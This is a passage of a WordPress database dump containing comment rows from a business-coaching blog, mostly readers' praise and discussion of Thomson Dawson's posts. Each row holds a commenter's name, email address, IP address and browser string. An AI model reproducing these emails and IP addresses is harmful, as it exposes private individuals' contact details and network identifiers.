(2672, 8, 'Roger Hilleboe', 'rhilleboe@mac.com', 'http://www.KandiKoatedArt.com', '68.3.143.61', '2011-05-21 14:46:57', '2011-05-21 21:46:57', 'There is no human experience known as "sustained happiness" and putting the adjective "significant" before the word happiness is akin to putting the adjective partially before the word pregnant. One is either happy or not. Happiness as a desired state is a uniquely American ideal and not a state from which one generally derives meaning. Rather, since human life consists of suffering, failure and transience the only exit is to attempt to find meaning in one''s life every day and relief through humor and irony.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1', '', 0, 0),
(3810, 1735, 'Mikayla', 'mikaylaquin@yahoo.com', '', '71.102.136.61', '2011-08-13 06:51:22', '2011-08-13 13:51:22', 'Thank you, very insightful...love that you give the evaluation tool of feeling pulled instead of pushed. Then the ultimate is to be in the center of these two polarities in the flow of energy and path of least resistance...as you say " the tension evaporates when a choice that involves growth is made"\r\nAlso...gotta love the "shampoo" analogy! :)', 0, '1', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0.1) Gecko/20100101 Firefox/5.0.1', '', 0, 0),
(4066, 1773, 'Nickey', 'info@therightva.com', 'http://www.TheRightVA.com', '24.115.247.26', '2011-10-08 05:33:37', '2011-10-08 12:33:37', 'Very well done,  Great food for thought, and I agree wholeheartedly!', 0, '1', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1', '', 0, 0),
(4068, 1773, 'Roger Hilleboe', 'rhilleboe@mac.com', 'http://www.KandiKoatedArt.com', '68.3.143.61', '2011-10-08 10:06:12', '2011-10-08 17:06:12', 'This tribute is one of the best I''ve read. And since mid-week I''ve read many. You hit all that man''s gifts and avoided the angels most of the mainstream media took. Well thought and written. Thanks for expressing so lucidly what few have done.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:6.0.2) Gecko/20100101 Firefox/6.0.2', '', 0, 0),
(4081, 1773, 'Debbie Stevenson', 'dstevenson@fuse.net', '', '72.49.230.180', '2011-10-13 08:06:00', '2011-10-13 15:06:00', 'Thank God for Steve Jobs! We certainly could use more people like him. I agree that your tribute is one of the best. As I read your words I found myself saying Yes! Yes! Yes! We can all learn so much from Steve Jobs. What a gifted man!', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50', '', 0, 0),
(4562, 1817, 'Susan Straub-Martin', 'susan@strauberrystudios.com', 'http://strauberrystudios.com', '24.16.141.103', '2011-12-04 18:10:56', '2011-12-05 01:10:56', 'Great article Thomson! I never really thought about business in these terms, but it makes perfect sense. I have been hunting when I should be farming. So on to a new way of approaching business opportunities.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22', '', 0, 0),
(4581, 1817, 'Roger Hilleboe', 'rhilleboe@mac.com', 'http://www.KandiKoatedArt.com', '70.176.54.248', '2011-12-05 09:53:45', '2011-12-05 16:53:45', 'Sound advice. It also points out another reason why there are more successful and better educated female senior executives and entrepreneurs in American business today (Source: The Atlantic Monthly, November, 2011). Prior to 1980, the role of men was that of Providers, or "Hunters" in the parlance of this article, whereas females had been nuturers ("Farmers"). Even today, despite the compelling evidence your article presents as to why not, most males I know would rather hunt than farm.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2', '', 0, 0),
(4607, 1817, 'Larry Melnick', 'larry@hunterbizdev.com', 'http://www.hunterbizdev.com', '98.219.11.10', '2011-12-06 13:06:05', '2011-12-06 20:06:05', 'Nice article and interesting perspective,Thomson! I do believe that to be successful in any field it helps to know what you do best and are most passionate about and then get to a position where you spend most of your time doing that. Over the years it''s been my observation that most creative firm owners are happiest and most productive when they focus on what they do best - the work - whether they''re a ''hunter'' or ''seed planter'' :). If I understand you correctly, I think you make a great point that there needs to be balance in the firm between getting the work done and nurturing the relationship. The same can be said about new business prospecting - a balance between looking for the next kill (opportunity) and planting and nurturing those that may not be in the market, but do fit your profile. Thoughts?', 0, '1', 'Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0', '', 0, 0),
(4843, 1831, 'Bert Mahoney', 'bert@hamiltonberchman.com', 'http://www.berchman.com', '208.106.122.35', '2011-12-22 18:31:49', '2011-12-23 01:31:49', 'Thomson, as always great insight and commentary for creative professionals. Thank you for sharing your thoughts and ideas with us. Keep going!\r\nMerry New Year!\r\nBert', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7', '', 0, 1),
(4890, 1844, 'Angela Giles', 'whoisangelagiles@gmail.com', 'http://angelagiles.com/blog', '24.99.44.76', '2011-12-27 16:08:10', '2011-12-27 23:08:10', 'Hi Thomas.  Thanks so much for sharing your insight.  I agree about showing value in what you offer.  Some business owners are so focused on money they forget to express how much their product or service will benefit the customer.  Check out my blog when you get a chance. \r\n\r\nThanks, \r\n\r\nAngela Giles', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7', '', 0, 0),
(4891, 1844, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '64.183.30.28', '2011-12-27 16:18:24', '2011-12-27 23:18:24', 'Thanks for your comment Angela!  I sure appreciate it. I visited your blog too. Nice work... generating quality leads is essential for all of our businessess. Your expertise is sooo necessary for early stage entrepreneurs.', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24', '', 0, 2),
(4915, 1844, 'Jason W. Womack MEd, MA', 'Jason@WomackCompany.com', 'http://www.linkedin.com/in/jasonwomack', '76.174.140.147', '2011-12-29 12:41:01', '2011-12-29 19:41:01', 'Thomson, the line that jumped off the screen is: "Clients pay for trust and security, not just deliverables."\r\n\r\nThinking about the product of the product in this way is very valuable. For me, it comes down to: Would the client I''m working with on THIS project recommend my work to ANOTHER client they know?\r\n\r\nI needed to hear that today! Your comments about managing expectations are perhaps the ones that helped me the most. As we step in to the new year - 2012 - I know that saying what I can do, and DOING what I say is going to be paramount to our success.\r\n\r\nThanks as always for some thought provoking material. Thinking beyond the completion date, not just to "get it done," but to reverse-engineer on the impact of "trust" and "confidence" is a powerful way to work.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1', '', 0, 0),
(4944, 1844, 'Bert Mahoney', 'berchman@berchman.com', 'http://www.berchman.com', '208.106.122.35', '2011-12-31 16:12:36', '2011-12-31 23:12:36', 'Thomson,\r\nReally appreciate reading your words every time you send them to my inbox. This post, like others is once again insightful and well written.\r\nThanks for a great year of content.\r\nHappy New Year!\r\nBert', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7', '', 0, 0),
(5054, 824, 'LTodd', 'lctodd2@hotmail.com', 'http://personal-growthnow.com/character.php', '68.19.158.17', '2012-01-09 08:32:48', '2012-01-09 15:32:48', 'I love this article.  Competing is setting yourself up for failure, short lived and stolen success.  It is evident that the most successful leaders are those who have the ability to step back and bring out the best in others; not hog all of the fame themselves.  If we are competing for something that someone else has a great plan for and can succeed; when we push them out of the way, we have become selfish and egotistic.  \r\nhttp://personal-growthnow.com/leadership.php\r\n\r\nThanks again and so true...\r\nLinda', 0, '1', 'Mozilla/5.0 (Windows NT 5.1; rv:10.0) Gecko/20100101 Firefox/10.0', '', 0, 0),
(5095, 1583, 'Larry Melnick', 'larry@hunterbizdev.com', 'http://www.hunterbizdev.com', '98.219.11.10', '2012-01-13 09:24:42', '2012-01-13 16:24:42', 'Great article, Thomson! You''re spot on about the importance of outcomes versus services. While I recognize the value of a strong Value Proposition, have you considered looking at "Value Proposition" in plural terms? Because firms generally provide value in many ways by helping clients solve a variety of problems, or even the same problem multiple times, why not create multiple value propositions? I recommend creating one for each success/case study. They provide powerful tailored ammunition for targeted business development. Cheers!', 0, '1', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)', '', 0, 0),
(5122, 1583, 'Kevin Heney', 'kevin@heneybrand.com', 'http://www.heneybrand.com', '71.202.68.129', '2012-01-16 09:39:17', '2012-01-16 16:39:17', 'Well put, Thomson. A very nice overview of positioning.\r\nThe lead-in - "People don''t buy services. they buy outcomes." - had me thinking you were going to talk about delivering on a brand promise. I.e., a brand is more than a promise, but a promise that is kept. A great positioning statement is only as good as the delivery of the services to the target market.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7', '', 0, 0),
(5123, 1583, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '64.183.30.28', '2012-01-16 10:02:19', '2012-01-16 17:02:19', 'Kevin-- you are spot on! At the end of the day, you have to deliver on the promise. At the early stages of business development, it''s tempting to take on opportunities from where ever they come from.\r\nHave a highly focused positioning (as you know) is how you create opportunity you are a good fit to deliver on. Thank you for commenting. I sure appreciate it.', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-GB; rv:1.9.2.25) Gecko/20111212 Firefox/3.6.25', '', 0, 2),
(5133, 1869, 'Suzanne Brown', 'sbrownfotos@gmail.com', 'http://www.thelostartofhitchhiking.com', '68.6.77.67', '2012-01-17 14:00:15', '2012-01-17 21:00:15', 'Nice Thomson! These words are a good reminder!\r\n\r\nBest,\r\nSuzanne', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Version/5.0.6 Safari/533.22.3', '', 0, 0),
(5144, 1869, 'Jodi Anthony', 'jodianthony@sbcglobal.net', 'http://www.jodianthony.com', '75.83.6.164', '2012-01-18 15:20:00', '2012-01-18 22:20:00', 'Love it Thomson!  It sure feels good to have found my "One Thing". To be honest, I have a few more than one thing, but mainly one and I''m having a blast doing it!', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.51.22 (KHTML, like Gecko) Version/5.1.1 Safari/534.51.22', '', 0, 0),
(5149, 1869, 'Jason', 'Jason@WomackCompany.com', 'http://losangeles.cbslocal.com/video?autoStart=true&amp;topVideoCatNo=default&amp;clipId=6606922', '64.61.5.110', '2012-01-18 20:41:25', '2012-01-19 03:41:25', 'Good evening Thomson,\r\n\r\nWell, ya got me...here''s the line that JUMPED off the screen as I read this article:\r\n\r\n"For many creative entrepreneurs and solo professionals, this “one thing idea” can be problematic. Creative people are naturally predisposed to curiosity and distraction."\r\n\r\n\r\nBoy do I resemble that remark! You''ve really struck gold with this post, and I thank you for it. I know as an entrepreneur, friend, husband, athlete and community member (as well as all the other roles I might choose to take on in any given day) the idea of staying focused on my "one thing" is a good one to remember.\r\n\r\nWhen I stop - as you say in the article - and think of the bigger game, things get better. My bigger game is calling, gotta go focus on it...', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0.1) Gecko/20100101 Firefox/9.0.1', '', 0, 0),
(5248, 1583, 'Olwen Dawe, IBI', 'herself@olwendawe.com', 'http://www.irishbusinessintelligence.com', '95.83.201.153', '2012-01-30 06:57:03', '2012-01-30 13:57:03', 'Thomson\r\n\r\nCompletely agree with the points above - really enjoyed reading it! \r\n\r\nStart-ups [and indeed developing SMEs] generally are so entrenched in their businesses [and so smitten with their product / service] - that they often don''t recognise the importance of their message... \r\n\r\nYou''ve inspired me to write a blog post [or two!]\r\n\r\nThank you so much,\r\n\r\nOlwen', 0, '1', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.77 Safari/535.7', '', 0, 0),
(5274, 871, 'Leslie Macchiarella', 'Lesliemak@aol.com', 'http://www.bakethiscake.com', '166.205.138.106', '2012-02-01 10:24:23', '2012-02-01 17:24:23', 'Thank you for an eloquent discussion. I''m feeling the pull. :)', 0, '1', 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_5 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8L1', '', 0, 0),
(5319, 1917, 'Roger Hilleboe', 'rhilleboe@mac.com', 'http://www.KandiKoatedArt.com', '70.176.54.248', '2012-02-07 14:15:03', '2012-02-07 21:15:03', 'I agree, let The Beast inside roar!!', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:9.0.1) Gecko/20100101 Firefox/9.0.1', '', 0, 0),
(5403, 1058, 'Michelle Goddard', 'goddardml@hotmail.com', 'http://michellegoddard.com', '209.117.70.162', '2012-02-23 11:26:25', '2012-02-23 18:26:25', 'I love this article, it is inspiring without being full of the usual rhetoric.  I particularly like this concept..\r\n\r\n"When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me..."\r\n\r\nNext time I start to feel in awe of someone else''s brilliance, I will remind myself that the mere fact that I can appreciate their genius, is a sure sign of my own :)', 0, '1', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)', '', 0, 0),
(5404, 8, 'Michelle Goddard', 'goddardml@hotmail.com', 'http://michellegoddard.com', '209.117.70.162', '2012-02-23 11:50:03', '2012-02-23 18:50:03', 'I believe that many of us are looking to acquire external things to signify our success and we expect happiness to follow, but that is backwards. We need to look inside ourselves to find happiness first and that will lead to success.  I always like this quote from Lisa Nichols in ''the Secret'' \r\n\r\n"Often times, you give others the opportunity to create your happiness. And many times they fail to create it the way you want it. Why? Because only one person can be in charge of your joy, of your bliss. And that''s you.\r\n So even as a parent, as a child, as a spouse, even the people closest to you, they do not have the control to create your happiness. Your joy lies within you".\r\n - Lisa Nichols', 0, '1', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)', '', 0, 0),
(5420, 1624, 'V.Sojy', 'vsojy@yahoo.com', '', '78.100.31.68', '2012-02-25 23:02:28', '2012-02-26 06:02:28', 'Thomas really an interesting read.', 0, '1', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11', '', 0, 0),
(5451, 1624, 'VIctoria', 'victoria@heritagememorialsoil.com', '', '67.244.5.72', '2012-03-02 08:13:32', '2012-03-02 15:13:32', 'Excellent info!  Thanks!', 0, '1', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11', '', 0, 0),
(5541, 2039, 'Madonna', 'madonnar@westnet.com.au', 'http://www.madonnarobinson.com', '124.171.223.239', '2012-03-15 06:05:51', '2012-03-15 13:05:51', 'I love the idea of a quantum leap.  Some of the ideas you''ve presented are downright scary, but exhilarating. like ''move before you''re ready.''  I''ve just started doing this and it is paying off.  \r\n\r\nI love ''ignore conventional approaches.''  \r\n\r\nGreat post.  Thanks\r\n\r\nMadonna', 0, '1', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11', '', 0, 0),
(5549, 2039, 'Steve Climons', 'sclimons@crossovercreative.com', 'http://www.crossovercreative.com', '67.180.154.98', '2012-03-16 13:01:57', '2012-03-16 20:01:57', 'Wow. I first saw this on Biznik and had to check you out. Really like your progressive stance for achievement. Sort of like "mind over matter" a little, but inspiring. As an entrepreneur to get started and to excel you really need to think like this. Thanks', 0, '1', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)', '', 0, 0),
(6054, 2062, 'Wendy Haines', 'agendadesign@eastlink.cs', 'http://agendadesign.ca', '24.89.244.22', '2012-05-23 18:31:53', '2012-05-24 01:31:53', 'This is just what I needed! Thank You!', 0, '1', 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_5 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8L1', '', 0, 0),
(6084, 2074, 'Terry Tillman', 'TTillman@227company.com', 'http://www.227company.com', '200.211.176.5', '2012-05-28 19:26:48', '2012-05-29 02:26:48', 'Another nice one Thomson. This is the wisdom only gained through experience. Hopefully, with this information, those coming behind us will be able to shorten the learning process and eliminate some of the surprise and struggle.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2', '', 0, 0),
(7028, 2084, 'Maureen Clark', 'Movino777@gmail.com', 'http://Maureenclarkphotography.com', '75.82.57.139', '2012-07-30 07:21:40', '2012-07-30 14:21:40', 'Well said Mr. Dawson.... Thank you for sharing!', 0, '1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B206', '', 0, 0),
(7479, 2124, 'Roger Hilleboe', 'rhilleboe@mac.com', 'http://KandiKoatedArt.com', '70.176.54.248', '2012-08-07 12:25:38', '2012-08-07 19:25:38', 'Enjoyed reading this. Besides the Business examples you relate, your premise applies to art and philosophy as well. Impressionism, Futurism, German Expressionism, Abstract Expressionism, Existentialism, the list goes on and on, all flourished in soil enriched by like-minded creative individuals working near one another and sharing their insights, resulting in a whole much greater than the sum of its parts.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.25 (KHTML, like Gecko) Version/6.0 Safari/536.25', '', 0, 0),
(7502, 2074, 'Michael Kowalczyk', 'kowdesign@gmail.com', '', '64.85.140.6', '2012-08-08 08:21:00', '2012-08-08 15:21:00', 'Thanks Thomson. I met you years ago, while working at Mendenhall &amp; Leistra, in Grand Rapids. I really appreciate your insight.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:14.0) Gecko/20100101 Firefox/14.0.1', '', 0, 0),
(7504, 2124, 'Allison S Eller', 'allison.s.eller@lowes.com', '', '168.244.164.254', '2012-08-08 09:43:52', '2012-08-08 16:43:52', 'Great article!', 0, '1', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.0.4506.2152; InfoPath.2)', '', 0, 0),
(8967, 2173, 'Barry', 'raspyni@gmail.com', 'http://www.showbizblueprint.com', '71.197.72.50', '2012-10-07 19:24:24', '2012-10-08 02:24:24', 'Great piece. I followed the path to your blog from your comment to Brendon. You lay it out here very nicely. I''ve been through the CRAP to build my online program. It''s selling out now every time I run it. It wasn''t easy. There were critics, rejection, assholes, and pressure. You nailed it.', 0, '1', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1', '', 0, 0),
(8972, 2173, 'Andy', 'atleticoandalucia@yahoo.co.uk', '', '86.147.242.226', '2012-10-10 03:54:44', '2012-10-10 10:54:44', 'I came here via your link on a comment you left on someone else''s blog. On there, you were criticising their work, attempting to kick their barn down. I guess it''s only fair that if you''ve experienced a load of CRAP in the past that you should feel the need to dish it out as well. Well done.', 0, '1', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1', '', 0, 0),
(8970, 2173, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '76.233.176.5', '2012-10-08 10:36:15', '2012-10-08 17:36:15', 'Thank you Barry for comment. I''m delighted you found your way over here!!!  Also delighted you found the post helpful!', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-GB; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28', '', 0, 2),
(8974, 2173, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '71.202.53.98', '2012-10-10 07:21:35', '2012-10-10 14:21:35', 'Andy-- thanks for leaving a comment. Indeed I left a comment on an internet marketer''s site that could be perceived as kicking his barn down. But if you read it carefully, I did acknowledge the marketer''s success. What I took issue with (without being directly critical to the blogger) was the deceptive nature of all these internet marketers who make outragous claims of "getting rich online" by simply posting your videos online and waiting for the dough to roll in. Perhaps, I would then fall into the asshole cataegory. If you can get rich (as this blogger claims he is) selling your expertise in ebooks, training courses, coaching, etc more power to you. To mislead people is something I take an issue with. But I certainly was not loading CRAP on to the person and their success.', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-GB; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28', '', 8972, 2);
INSERT INTO `wp_comments` (`comment_ID`, `comment_post_ID`, `comment_author`, `comment_author_email`, `comment_author_url`, `comment_author_IP`, `comment_date`, `comment_date_gmt`, `comment_content`, `comment_karma`, `comment_approved`, `comment_agent`, `comment_type`, `comment_parent`, `user_id`) VALUES
(8987, 2183, 'Roger Hilleboe', 'rhilleboe@mac.com', 'http://KandiKoatedArt.com', '70.176.54.248', '2012-10-20 16:38:57', '2012-10-20 23:38:57', 'I agree with what you say 100%. But I''ve never worked for any one, including myself, who let me, "Just say no!" (I have fired clients tho for being too abrasive or slow-to-pay.)', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.25 (KHTML, like Gecko) Version/6.0 Safari/536.25', '', 0, 0),
(9004, 2183, 'Laura Foley', 'laura@lauramfoley.com', 'http://www.lauramfoley.com/wordpress', '68.187.208.122', '2012-10-24 13:10:39', '2012-10-24 20:10:39', 'This is so true. It''s really, really tough to walk away from cash on the barrel head with these kinds of so-called opportunities but it''s vital to do so to maintain the integrity of your business. Playing "hard to get" might mean that it takes longer to land clients, but you''ll know you''ve found Mr. or Ms. Right Client when you vet them correctly.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0', '', 0, 0),
(9029, 2194, 'Derwin Gary', 'dgary@tools2succeed.us', 'http://tools2succeed.us', '68.74.50.158', '2012-11-01 06:28:40', '2012-11-01 13:28:40', 'This article has been a blessing to me this morning. It will help me to create an A-1 presentation for potential prospects. Thank you.', 0, '1', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)', '', 0, 0),
(9101, 2204, 'Thomson Dawson', 'thomson@whitehotcenter.com', 'http://www.whitehotcenter.com', '71.202.53.98', '2012-11-20 15:46:51', '2012-11-20 22:46:51', 'Indeed human ideas are not as old as stones... but what stones and ideas have in common is both can be thrown at each other. Hope all is well in your world!', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-GB; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28', '', 0, 0),
(9100, 2204, 'Roger Hilleboe', 'rhilleboe@mac.com', 'http://KandiKoatedArt.com', '70.176.54.248', '2012-11-20 13:54:39', '2012-11-20 20:54:39', 'Beautiful stone sculpture. Oh, and by any standard, humans, Homo Sapians, took control around 50,000 years ago, and their subsequent "civilizations" about five 5,000 years ago inside the Fertile Cescent , and hence their Ideas, are not old. Now pick up a stone, any stone and look at it. Now that stone is old. Could be millions of years old.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17', '', 0, 0),
(9191, 2213, 'Terry Tillman', 'TTillman@227company.com', 'http://www.227company.com', '63.155.170.164', '2012-12-25 12:03:04', '2012-12-25 19:03:04', 'Another nice on Thomson--thanks for your honesty and vulnerability. You can count me as one of the people, and businesses, who are a result of your purpose--"I love to collaborate with successful people who value my contributions to their success..." I greatly value your talent, skill and contributions.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17', '', 0, 0),
(9230, 2223, 'Roger Hilleboe', 'rhilleboe@mac.com', 'http://KandyKoatedArt.com', '70.176.54.248', '2013-01-03 12:06:45', '2013-01-03 19:06:45', 'Thought provoking question asked by this thought provoking blog: "Are your goals carved in sand or written in stone?" I''m at the age where my game clock is rapidly running down. (You''re dead-on that time passes more quickly with age. A terrible truth that I began to painfully realize around the age of 45.) Therefore, I now prefer to write my goals in the ever shifting sands of time. I feel it gives me more flexibility. Really enjoyed this blog Thomson. I now have some deep thinking to do. Well done.', 0, '1', 'Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B206 [FBAN/FBIOS;FBAV/5.3;FBBV/89182;FBDV/iPad1,1;FBMD/iPad;FBSN/iPhone OS;FBSV/5.1.1;FBSS/1; FBCR/;FBID/tablet;FBLC/en_US]', '', 0, 0),
(9747, 1058, 'Marc R', 'marc@ignyte.ms', 'http://www.ignyteglobal.com', '72.230.128.157', '2013-05-28 19:36:21', '2013-05-29 02:36:21', 'WOW, Dawson. That''s what we call a gem. Thanks.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:21.0) Gecko/20100101 Firefox/21.0', '', 0, 0),
(9781, 2183, 'Ann Druce', 'ann@octarine.co.za', 'http://www.octarine.co.za', '41.132.7.211', '2013-06-04 05:21:25', '2013-06-04 12:21:25', 'Yes, run! These are clear signs of an abusive relationship, and you will be better off without the business.', 0, '1', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36', '', 0, 0),
(11633, 2389, 'Roger Hilleboe', 'rhilleboe@mac.com', 'http://KandiKoatedArt.com', '24.251.136.45', '2013-08-06 20:22:30', '2013-08-07 03:22:30', 'Obvious but still dead-on advise, esp. #5. Regarding #5 ya better be prepared with a quick, well-reasoned response. It''s also a huge opening to make your pitch to the client to do more biz with you. That is, to increase the scope of the project or campaign under discussion. Beware though. The client may simply be testing your "smarts". Enjoyed reading these five critical reminders.\r\nBut never, ever point your pen in your client''s face like four-eyes is doing in the photo.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.30.1 (KHTML, like Gecko) Version/6.0.5 Safari/536.30.1', '', 0, 0),
(12482, 2436, 'The Benjamin Franklin Way of Personal Effectiveness | Mlu07', '', 'http://mlu07.com/2013/08/13/rant-t/', '50.87.144.131', '2013-08-13 01:25:50', '2013-08-13 08:25:50', '[...] of USA from the British Empire. He had a way of conducting himself that we are will discuss in the attached. Share this:FacebookTwitterGoogle +1LinkedInPinterestEmailComments comments  benjamin, [...]', 0, '1', 'The Incutio XML-RPC PHP Library -- WordPress/3.5.2', 'pingback', 0, 0),
(12597, 2436, 'Gail', 'gailtaras@earthlink.net', '', '67.101.223.129', '2013-08-13 15:57:52', '2013-08-13 22:57:52', 'Thomson,\nI really love this article! Who ever thinks of Benjamin Franklin these days? Such a non-cliché choice for a role-model in 2013. Kinda ol''-fashioned, yet so spot on. ', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:23.0) Gecko/20100101 Firefox/23.0', '', 0, 0),
(12745, 2436, 'Thomson Dawson', 'tdawson@whitehotcenter.com', 'http://www.whitehotcenter.com', '173.197.124.191', '2013-08-14 13:03:13', '2013-08-14 20:03:13', 'Thank you Gail for your comment!!!', 0, '1', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-GB; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28', '', 0, 2),
(13881, 2501, 'Giselle', 'tsrfoundation@live.com', 'http://www.theselfrealizationfoundation.com', '74.74.213.89', '2013-09-09 18:11:06', '2013-09-10 01:11:06', 'This article came at just the right time for me!!! Really love it and appreciate it! I am in the same place as Michael De Meyer...I am beginning to enter this space you speak of in your article. I''ve been working on a life coaching practice for a few years now...and I''ve been cleaning &amp; organizing for a few years, as well...but...I''ve really had a hard time getting my coaching off the ground. I am, presently, finding ways to incorporate all three of my skills into "one package" and "expand my creativity and authenticity" (and, of course, my desire to truly help others). I am and have been struggling financially; however, I find my new challenges to be an "enthusiastic fear" (ya know...like riding the rollercoaster for the 1st time)...much better than just constant worry and anxiety...there is a big difference!  :0)\r\nAnyways...thanks so much for the article...and I''ve put your website on my favorites list! :0)', 0, '1', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', '', 0, 0),
(13655, 2501, 'Jim Thomas', 'jdt@jdthomas.com', '', '208.163.205.92', '2013-08-28 08:52:40', '2013-08-28 15:52:40', 'I think we last had lunch somewhere back in the 90s. You were tired of "doing 8-pagers for the furniture companies," remember? Happy to see you''ve done well, and that now you''re on a higher path. Just stumbled across your website today and have enjoyed the blogs. Very impressive. I''m not surprised.', 0, '1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:23.0) Gecko/20100101 Firefox/23.0', '', 0, 0),
